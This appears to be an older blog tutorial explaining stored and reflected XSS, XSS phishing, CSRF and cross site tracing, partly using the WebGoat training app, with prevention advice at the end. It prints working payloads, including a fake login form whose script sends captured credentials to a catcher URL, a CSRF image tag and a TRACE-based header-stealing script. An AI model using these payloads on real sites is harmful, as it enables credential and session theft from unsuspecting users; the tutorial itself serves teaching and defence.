5 XSS Exploits You Should Know About

Following on from my HTTP Splitting post, this post rounds up 5 common cross site scripting (xss) attacks and how to prevent them.

  • Stored XSS
  • Reflected XSS
  • XSS Phishing
  • CSRF (Cross Site Request Forgery)
  • XST Cross Site Tracing
  • Preventing XSS

Stored XSS

Basic XSS exploits often take 2 forms:

  • Stored XSS
  • Reflected XSS

Stored xss essentially means the code to exploit the vulnerability is stored on the target and can then be retrieved and executed consistently. Stored often means saved in the database on the target server.

An excellent example of stored cross site scripting is the recent Mikeyy Stalk Daily worm attack on Twitter.  Mikeyy's code was stored in the profile data for twitter users and was subsequenty executed every time that profile data was requested/viewed in a web browser.

Exploiting a stored xss vulnerability is fairly straight forward once you have found one, it often involves saving some javascript in a database via an unsecured web form. The attack will most likely involve the browser executing some javascript that has been stored.

Entering the following javascript into an input field has the access cookie data for the current logged in user:

<script language="javascript" type="text/javascript">alert(document.cookie);</script>

If this data is then saved to the database, each request to view the data (if not properly encoded into HTML entities) will execute the javascript. Coupling this data with an AJAX request to send the cookie data to an attackers server elevates this attack to the next level whereby the attacker could use the cookie data to gain access to the user account.

Reflected XSS

Reflected cross site scripting vulnerabilities are exploited in much the same way as stored XSS. The only difference being that the script used to attack the site is not stored on the target, instead reflected by the sites own functionality.

An example of reflected XSS is the XSS Phishing attack, whereby a form on the website is exploited to instruct a web page to execute our javascript code. This code is not stored on the target server, the only way to execute the javascript is to submit the form again with the same parameters.

This may seem somewhat limited in comparison to stored xss attacks, but considering an attacker has the ability to form URLs which will submit POST and GET data to any given URL this becomes a handy method to invoke the attack. A user must visit this URL in order to execute the script in their browser, so the URL must be actively distributed as opposed to the stored xss attack.

XSS Phishing

Phishing is essentially laying bait and waiting for an unsuspecting user to bite. Often taking the form of spoofed websites a phishing attack regularly replicates the look and feel of a website which includes perhaps a form that a user fills in to accomplish some task, such as logging in.

Phishing relies upon appearing to be a valid website and tricking a user to enter personal data, which will then be sent to the phisherman. As such phishing attacks are usually fairly easy to spot by looking at the URL bar, which of course will need to be different to that of the target website.

Using cross site scripting to perform a phishing attack is a lot harder to spot because the phishing page is hosted on the website itself. The URL will be that of the replicated website.

This WebGoat test revolves around a simple form with a basic input which can be used to exploit XSS vulnerablilities (as with all of the XSS WebGoat tutorials).

To demonstrate the default behaviour of the form...

Input:
test

Request:

POST http://127.0.0.1:8080/WebGoat/attack?Screen=13&menu=900 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1:8080/WebGoat/attack?Screen=13&menu=900
Cookie: xxxx; sessionid=xxxx
Authorization: xxxx
Content-Type: application/x-www-form-urlencoded
Content-length: 27

Username=test&SUBMIT=Search

The default behaviour is to take the input from the form and display it directly on the page, without scrubbing the data on the server or encoding the data into HTML entites before displaying it on the client.

A snippet of resulting HTML resembles:

<br><hr><br>Results for: test
<!-- Search results -->
<br><br><b>
No results were found.
</b>
<!-- End of Search results -->

This is the vulnerability that can be exploited to create a phishing page on the website itself by replacing the "test" input with input similar to below.

Input:

<form>
<br><br><HR>
<H3>This feature requires account login:</H3 >
<br><br>
Enter Username:<br>
<input type="text" id="user" name="user"><br>
Enter Password:<br>
<input type="password" name = "pass"><br>
</form>
<br><br><HR>

The resulting page will execute the HTML code and display a form to the page. The result appears to be a bonafide login form and because it is hosted on the same domain as the site being attacked it is very difficult to recognise as a phishing attack.

This form alone does nothing malicious, however appending a submit button to the form and attaching a javascript event handler is a fairly straight forward modification of the attack and creates numerous opportunities for phishing attackers.

Input:

<script>
function hack(){
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
<form>
<br><br><HR>
<H3>This feature requires account login:</H3 >
<br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="login" value="login" /></form>
<br><br><HR>

Cross Site Request Forgery CSRF

CSRF is an attack whereby the target user's browser is tricked into requesting a particular URL. If a cookie exists on the user's machine for that URL then the cookie data will be passed with the request. This allows malicious URLs to be executed which may perform actions logged in on the user's account, an example being transferring data from a banking account.

A method of invoking this attack is including a very small image in an HTML email whose src attribute is the URL that will perform the actions on the remote website.

When a browser requests this URL in order to display the image the cookie data for the URL is passed in order to perform its tasks. This is one excellent reason displaying images is no longer the default behaviour for numerous web based email readers.

Sample Code:

<img src="http://bank.com/?transferFunds=5000" width="1" height="1" />

Cross Site Tracing XST

This attack can be performed when a server is configured to accept the HTTP TRACE command. This command asks a web server to echo back the contents of the request in the body of the TRACE response. The data returned may include sensitive data such as cookie data which was included in the header of the original request.

Sample code:

<script type="text/javascript">
if ( navigator.appName.indexOf("Microsoft") !=-1)
{
var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
xmlHttp.open("TRACE", "./", false);
xmlHttp.send();
str1=xmlHttp.responseText;
 
while (str1.indexOf(“\n”) > -1) str1 = str1.replace(“\n”,”<br>”);
document.write(str1);
}
</script>

Preventing XSS

Preventing Stored and Reflected XSS is fairly straight forward and considered standard practice in modern web development.

  • Prevention at the server by scrubbing input passed to the server
  • Prevention at the browser by HTML encoding output before executing

Additionally, Microsoft introduced a new cookie attribute: "HttpOnly" in an attempt to mitigate common xss threats. Simply put, if this flag is set then javascript is not able to access cookie information. Many browsers are now adopting this attribute.

Preventing CSRF attacks is more complicated. The essence of the problem is that the browser appears to be an authenticated user to the server, but is in fact acting on its own.

Adding a random key to form data which need to match the key set on the server helps to ensure that an authenticated user is controlling the browser. Frameworks such as cakePHP implement this technique out of the box which is handy.

Preventing Cross Site Tracing using straight forward mod_rewrite rules:

RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^TRACE
RewriteRule .* - [F]" - deadlytechnology.com

Resources: